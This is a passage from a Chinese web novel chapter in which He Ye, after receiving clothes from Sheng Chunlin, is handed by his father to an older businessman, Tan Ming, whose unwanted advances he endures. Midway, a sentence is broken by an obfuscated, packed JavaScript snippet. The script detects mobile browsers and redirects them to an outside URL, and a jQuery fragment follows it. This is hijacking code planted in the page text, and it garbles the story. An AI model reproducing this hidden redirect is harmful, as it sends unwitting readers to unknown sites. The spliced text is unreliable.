似乎脱离开何家的环境,何野在哪里都好。
第二天棠溪书送何野回去的时候,没有直接送他回家,反而是饶了个弯,让何野在车上等他,她去商场拎着几大包衣服回来。
对于昨天自己误会的事,何野还心有余悸,主动与棠溪书交流希望棠溪书不要误会他。
“棠小姐,你们盛总有没有说什么呀?”
“盛总……她也没说什么,就是嘱咐我两句工作上的事。”
棠溪书装出一副欲言又止的样子,单纯的何野就这么被骗了。
“啊,是不是你们盛总生气了?昨天我好像说错了话,让她有些误会你了。”
何野边说边用手用力地搓自己的指节,沙沙的痛感袭来,倒是缓解了一丝焦虑。
“是吗?我说盛总今天怎么……唉,没事,这都是我应该的,您不用愧疚。”棠溪书在盛春临身边呆久了,说话也盛言盛语。
“棠小姐,那我有什么可以帮你的方法吗?”
“真的没关系,如果您实在过意不去,有机会在盛总面前美言我几句吧。您主动些,盛总会开心的。”
“好的,我明白了。”何野支支吾吾还想说,“棠小姐,我还想问一下,之前逛街时陪在盛总身边的那个男人,是盛总的伴侣吗?”
“陪在盛总身边?啊,你说的是行之少爷呀,他是盛总的表弟,两人关系很好。”棠溪书想了一下,恍然大悟地说。
“原来是这样。”
“您不用担心。”棠溪书一副我懂的表情。
“好……”
“何先生,我刚刚拿过来的衣服,都是按照您的尺码准备的,这是盛总的意思,还希望您能收下。”
“这不太好吧,会很麻烦也会很明显的。”何野用手捂住嘴巴,有些不好意思。
“不用担心,大多都是单衣,您在家穿得舒适就好。如果您平时有任何需要,也可以随时联系我,这也是我工作的一部分。”
“好的,谢谢。”心里挣扎了几分,何野还是不舍得放弃盛春临给他的东西。
何野浑身别扭地拎着几大包衣服回到家里,好在方佩茹今早出门了,并没有人注意到他的异样。
拿到屋子里,把门反锁,把窗户拉上后,何野才敢打开袋子。
都是些他没见过的款式,比他身上穿的这衣服好的不是一点半点。
何野迫不及待的把身上的格子衬衫脱下来,换上新衣服。
柔软光滑的材质贴在皮肤上,舒适轻松。
何野跑到镜子面前,欣赏着自己穿上新衣服的样子,衣服竟然很合身,很衬他的身形。
啊,是盛春临给他买的诶。
何野对着镜子拍了一张自拍,整理了下头发凹了凹角度,尽可能让自己看起来漂亮,犹豫了一下要不要发给盛春临。
“谢谢,衣服很合身。”何野最终还是发过去。
满足和欣喜弥漫在何野身上,他开心的想要转圈,还没蹦跶两下,小腹的坠痛又让他眼前一阵发黑,何野不得不低头整个人靠在镜子上。
啊,可恶的痛经,原来来月经竟然这么痛苦。
盛春临还没有回他的消息,这让何野有些沮丧,是自己太主动了么?
昨晚的场景又在何野脑子里浮现,他害羞的用双手捂住脸。
可即便是疼痛,在短暂的第一次月经离开后,何野还是有些不舍。
何野主动找了何凡凡表明,“我愿意为了这个家给老男人去当情人。”
何凡凡很是开心,拍了拍何野的肩称赞道这才是我的儿子。
该来的还是来了。
何凡凡带何野去与谭鸣吃饭。
谭鸣穿着一个墨蓝色衬衫搭配灰格纹领带,黑色西装裤上绑着灰棕色皮带,皮鞋锃亮,保养很好。
与何野心里想的不太一样。
他以为会是一个大腹便便的老男人,满脸皱纹胡子拉碴。
谭鸣眼底满是欣赏,与何野握手时,握了好一会才松开。
吃饭时眼睛似乎黏在何野身上。
“何总不用担心,小野在我那,我肯定会把他照顾好。”谭鸣信誓旦旦,拿起酒杯与何凡凡对碰。
“谭总办事我肯定放心,咱们以后还要多往来。”
何野强忍着恶心陪着笑脸,不知道该怎么回应。
吃完饭后何野被谭鸣带去了一个郊区的小公寓,不算大,上下两层,两室一厅。
“小野啊,你今年26岁对吧。”
“嗯。”
“在我身边你不用担心,我也不会为难你,我知道你的情况在这社会上立足不容易,既然来我这了,也别想太多别的。”
“我知道了,谭总。”
“还叫谭总,多生疏啊,叫谭哥!”谭鸣爽朗大笑,手也爬上了何野的腰。
“谭哥。”何野感觉自己又要吐出来了,与谭鸣接触的皮肤泛起一层鸡皮疙瘩。
他只庆幸自己没穿盛春临买的衣服,没让这男人的手污染到。
“诶,这就对了,每个月我给你打十万,你日常花销,购物另算,我平时忙,可能不能经常过来这边,你就乖乖在这陪着我。”谭鸣又补充道,“平时你可以出去,但是我来的时候你得在。”
“我…我用不了那么多,不用的。”何野明显没想到谭鸣会说这种话。
“给你钱你就收着,又不让你还,你爸把你送到我身边,你这么年轻愿意跟我,我肯定要好好待你。”谭鸣话锋一转,“这房子我刚买下来,还没住过,你在这好好呆着,不用想着跑,不可以在外面过夜,这是我对你的忠告。”
“真的不用,这太多了。”
“行了,我今天还有工作,你先适应适应,等我有时间来找你。”谭鸣捏了捏何野的脸,用手指在上面摩挲了一会。
谭鸣离开后,何野把衣服脱下来扔进垃圾桶,去洗手间用力地洗搓着刚刚被谭鸣触碰过的的脸,直到脸颊生疼,又红又肿,才停下。
生理性的泪水充斥着酸涩的眼眶,水珠从何野脸上往下滴,忍着委屈,何野拍了一张自己眼眶微红的照片发给盛春临。
“我见过谭鸣了。他今天摸了我的脸,我好恶心。”
抱着不会被回复的心思,
他感觉自己又蠢又贱,为什么要招惹盛春临呢,为什么要相信盛春临呢?
出乎何野预料的是,盛春临这次回复的倒是很快。
“哭了么?”
“嗯。”
“不要让他亲你,不要让他碰你,发生事情要录音并且告诉我。”
“我知道了。”何野看着手机上的文字皱了眉头,绝望地继续说道,“我不想在这。”
“怎么今天没有那天见我的那般视死如归了。”
“不一样。盛总,他跟你比不了。”
这话盛春临赞同。
“你害怕吗?”
“有点。”
“我不会让你在那待太久的。”盛春临难得回消息回的很连贯。
“盛总,我害怕时可以给你发消息吗?”
对面似乎没想到何野会这么说,正在输入中了一会。
“可以。”
何野就这么在心惊胆战中过了一周,谭鸣一直没有来,倒是总在手机上对何野嘘寒问暖。何野按照盛春临说的,安抚着谭鸣,没有撕破脸。
今天外面下雨了,郊区遇上雨天不好点外卖。
不想久等,何野给自己煮了一碗面条,发到朋友圈,给自己一个手都能数过来的好友看。
其实是给盛春临看。
可惜等了好久,也没等来盛春临的点赞。何野只能百无聊赖地挑弄着碗里的面条,寡淡的面条没什么滋味,但能吃就行。
何野大学的时候为了省钱总吃这些。
只是没想到省到最后,给自己落到这幅下场,真是可怜。
何野又在想盛春临了。
他不知道自己对盛春临究竟是怎样的情感,是爱慕、忮忌亦或是不得不屈服,再或者更复杂,他真的说不清。
好像盛春临只是站在那,他就想眼巴巴地跟过去了。
明明他之前不是这样的,明明他决定好要麻木地过一辈子的。
——滴,电子门被打开的声音打断了何野的思绪。
谭鸣把伞收起来挂在门外,顺手扯了扯领带,衬衫扣子也顺道被解开两颗。
何野心中警铃大作,打开了手机的录音键。
“在吃什么?”谭鸣步伐有些虚浮地走过来,一股酒气和香水的混合气味冲过来,实在刺鼻,何野不自觉地偏过头去。
“只是面条。”
“怎么没点点其他吃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153882|196488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,钱不够了么?”谭鸣把西装外套搭在椅子背上,坐到了何野的对面。
“没,只是不想太麻烦,就随手做了些。”
气氛陷入短暂的沉默,谭鸣似乎在等着何野开口。
“你刚忙完吗?”何野终究脸皮薄,先败下阵来。
“嗯,刚完成一个酒局,那甲方太会灌酒了,喝了好多,好在我酒量还不错。”
“那,你要不要去休息会?”
“不了,可以也给我煮些面条吗?酒喝太多胃里有些难受。”
“好的,你等我一下。”何野立刻起身,巴不得赶紧离开这个餐桌。
为了延缓回到餐桌的时间,何野还特意煎了个鸡蛋放在面条上。
这在谭鸣眼里可是不一样的暧昧信号。
“谢谢你,小野。幸亏有你在,我回来还能吃到一口热乎饭,真好。”
谭鸣强忍着抱住何野的冲动,说着煽情的话语。
何野听到却只恨自己没在面条里加点鼻屎。
“坐下陪我一起吃吧。”谭鸣拿起筷子搅拌面条,“看起来真不错,以前我母亲也给我煮这种面条吃,后来离家再也没吃过了。”
何野坐在谭鸣对面,拿起筷子,越听越没有继续吃的欲望。
“那真巧了。”
“在这住的还习惯吗?”
“还行。”何野不想多说一个字,面对面他真的怕谭鸣会对自己做什么。
“我知道来这委屈你,但是你放心,我不是你爸那种卖子求荣的人。”
谭鸣其实根本没怎么吃这碗面条,但手上搅动的动作却一直没停过。
见何野似乎不信自己说的话,谭鸣几乎要萧然落泪了。
“唉,我也是不得已,说真的,我真的想八抬大轿光明正大地娶你。可是我不能,我一路靠自己走到今天不容易,过去身边多少人,他们说爱我,说会陪我一辈子,最后还都是看中我的钱,但是小野,我看到你的第一眼,我就知道你跟他们不一样,如果可以,真想让你一直陪在我身边。”
说着说着,谭鸣的手就悄悄握住何野的手。
何野感觉自己有些控制不住自己的表情了,实在恶心,他好想把眼前这个贱人打一顿。
“我知道这样听起来不像我,可这么些年,我一个人一直很孤独,也渴望被读懂,某种程度上,我们一样的人,我知道你在家里生活的很艰难,所以我来了,小野,我是为了救你才让你过来,相信我,我会好好照顾你,在你不愿意前我不会碰你的。”
还不等何野用力把手抽出来,谭鸣先绅士地松开手。
“我只是想跟你说点真心话,你不用急着回应我,我会给你时间,如果你不想听,就当没听见吧,不用在乎我的感受。”
怎么搞得自己好像罪人,何野越听越别扭,总觉得这话有些耳熟。
“谭哥,我只是有些不习惯。”
谭鸣站起来,走到何野身后,把双手轻轻按在何野肩膀上。
“你肩膀好硬,是有些紧张吗?”谭鸣捏了捏何野的肩膀,“我帮你捏捏。”
何野真的受不了了,浑身的汗毛都立起来,他从椅子上跳下来。
“谭哥,我有些困,我先去休息了。”何野没给谭鸣进一步关心的机会,拿起手机快速走向楼梯,回到房间把门反锁。
这一切在谭鸣眼里看来,是少男的脸红,虽然何野年纪不小了。
走洗手间用力地揉搓自己的手背,何野在想,是该买点消毒药水了。
过了一会,谭鸣过来敲门,“小野,你睡了么?”
何野没回应。
谭鸣在门前自言自语,“明天我还有工作,我得先回去了。希望下次见面,我们能多呆一会。”
何野翻了个白眼,简直要对这种话应激。
直至关门的声音传来,
何野拿出自己的手机,添油加醋地把今天晚上发生的事说了一遍,检查了一遍后发给盛春临。
“盛总,今天晚上谭鸣来了…”
“他跟我说了好多莫名其妙的话,还说什么我们是一样的人,他非要拉我的手,还摸了我的肩膀,我好害怕。”
“他那副样子太吓人了,我把他关在门外,他才离开。”
“我好害怕,盛总。”
“我想见您,现在就想。”